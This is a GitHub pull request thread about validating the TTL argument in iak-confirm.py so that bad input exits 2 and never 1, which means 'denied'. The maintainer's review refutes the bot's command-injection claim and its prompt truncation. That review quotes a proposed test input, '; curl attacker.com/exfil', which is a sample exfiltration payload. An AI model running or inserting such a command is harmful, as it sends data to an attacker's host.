Skip to content

fix: validate TTL in iak-confirm.py - #140

Merged
ThinkOffApp merged 2 commits into
ThinkOffApp:mainfrom
anupamme:fix-repo-ide-agent-kit-iak-confirm-input-validation
Oct 7, 2026
Merged

ThinkOffApp merged 2 commits into
ThinkOffApp:mainfrom
anupamme:fix-repo-ide-agent-kit-iak-confirm-input-validation

Conversation

@anupamme

@anupamme anupamme commented Oct 4, 2026 •

Copy link
Copy Markdown
Contributor

Fix invalid TTL handling in iak-confirm.py

iak-confirm.py converts the optional TTL argument with int(sys.argv[2]).

Previously, an invalid value such as:

iak-confirm.py "test prompt" abc

raised an uncaught ValueError and caused the process to exit with status 1.

Exit status 1 is already defined by this script as "denied" (see its own
docstring), so an invalid TTL could be reported to callers as if the user
had explicitly denied the request — a typo in the TTL became
indistinguishable from a human tapping Deny.

This change:

  • handles invalid/non-integer TTL values explicitly;
  • rejects TTL values outside the supported 1-86400 second range;
  • returns a distinct exit status (2) for invalid invocation;
  • preserves 1 exclusively for an actual denial;
  • adds test/iak_confirm_test.py covering both the invalid-TTL case and
    that valid TTLs still proceed normally.

This PR intentionally does not modify prompt handling: prompt text is sent
as JSON to the local daemon and only ever displayed to a human, so there is
no truncation and no injection-style filtering here.


Automated security fix by OrbisAI Security

Automated security fix generated by OrbisAI Security

@ThinkOffApp ThinkOffApp left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the patch. One of the three things here is a real bug, and it is a better one than the CWE it is filed under. The other two do not apply to this script, and I want to be specific rather than wave it away.

The real finding, and it is worth fixing. int(sys.argv[2]) raising an uncaught ValueError does not just crash: it makes Python exit 1, and line 9 of this file says 1 = denied. So a typo in the TTL is indistinguishable from the user tapping Deny on their phone. Verified:

$ iak-confirm.py "test prompt" abc  ; echo $?
ValueError: invalid literal for int() with base 10: 'abc'
1
$ iak-confirm.py "test prompt" 240  ; echo $?   # daemon unreachable
2

A caller that reports "you declined" on exit 1 will report a denial that never happened. That is worth a guard, so the try/except and the range check go in.

The command injection claim does not hold here. This script executes nothing, which the docstring states and the code bears out: prompt is json.dumps-ed into an HTTP POST body to a loopback daemon and otherwise only printed. There is no shell, no subprocess, no eval. A prompt beginning with ; is just a string, and it reaches a phone screen as text for a human to read.

That matters for the proposed regression test, which asserts that "; curl attacker.com/exfil" must produce a non-zero exit or the word "error". A correct implementation would fail that test, because the right behaviour for that input is to raise the card with that text on it. The test encodes an invariant this program should not have.

The prompt truncation is the wrong remedy. sys.argv[1][:2000] silently cuts the user's text. For a script whose whole job is to put a question in front of a person and get a yes or no, quietly shortening the question is worse than refusing it: the human then approves something other than what was asked. If a length limit is wanted it should reject with a message, not truncate. I would drop that line.

Where this leaves the PR. I would like to take the try/except and the range check and leave the rest. If you would rather, push a version with the truncation dropped and I will merge that; otherwise I will land the TTL guard separately and credit this report, since the exit-code consequence is a real one that we had not spotted.

Reviewed against commit on main at the time of writing; the exit codes above are from running the script on this branch.

iak-confirm.py's docstring reserves exit code 1 for an explicit Deny
tap. An invalid --ttl previously raised an uncaught ValueError (or
could fall outside the sensible range) and the process still exited
1, making a typo in the TTL indistinguishable from the user tapping
Deny. The try/except and 1-86400 range check added in 52912dd fix
that correctly, by returning a distinct exit code (2).

That commit also truncated the prompt to 2000 chars and framed the
change as closing a command-injection hole. Neither holds up: this
script never execs or shells out (the prompt is JSON-encoded into an
HTTP body for a loopback daemon and otherwise only shown to a human
on a phone screen), so there's nothing to inject into. Silently
truncating the text a human is asked to approve is also the wrong
remedy for a non-issue - it just means they can end up approving
something other than what was actually asked. Drop the truncation.

Add test/iak_confirm_test.py covering the real bug (invalid/out-of-
range TTL must return 2, never 1) and documenting that prompts are
forwarded to the daemon verbatim, uncapped.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@anupamme anupamme changed the title fix: secure iak-confirm.py (CWE-20) fix: validate TTL in iak-confirm.py Oct 4, 2026
@anupamme

anupamme commented Oct 4, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for the detailed review — agreed on all three points.

I've pushed a revised version that narrows this to just the TTL/exit-code bug you reproduced:

  • Kept the try/except ValueError and 1-86400 range check around ttl = int(sys.argv[2]), both returning exit code 2 — so an invalid TTL can no longer be reported as exit 1 (denied).
  • Dropped the prompt = sys.argv[1][:2000] truncation entirely. Silently shortening the text a human is asked to approve is worse than not limiting it.
  • Dropped the command-injection framing — this script only json.dumpss the prompt into an HTTP body for a loopback daemon, it never execs or shells out, so there was nothing to inject into.
  • Added test/iak_confirm_test.py, which asserts invalid/out-of-range TTLs return 2 (never 1), valid TTLs are accepted, and — in place of the rejected injection test — that a prompt containing shell metacharacters is forwarded to the daemon verbatim rather than rejected, since that's the correct behavior for a program whose job is to put text in front of a person.

Updated commit: ce096b8 on this branch. Also updated the PR title/description to describe the actual fix rather than the original CWE-20 framing.

@ThinkOffApp
ThinkOffApp merged commit 2f851ca into ThinkOffApp:main Oct 7, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants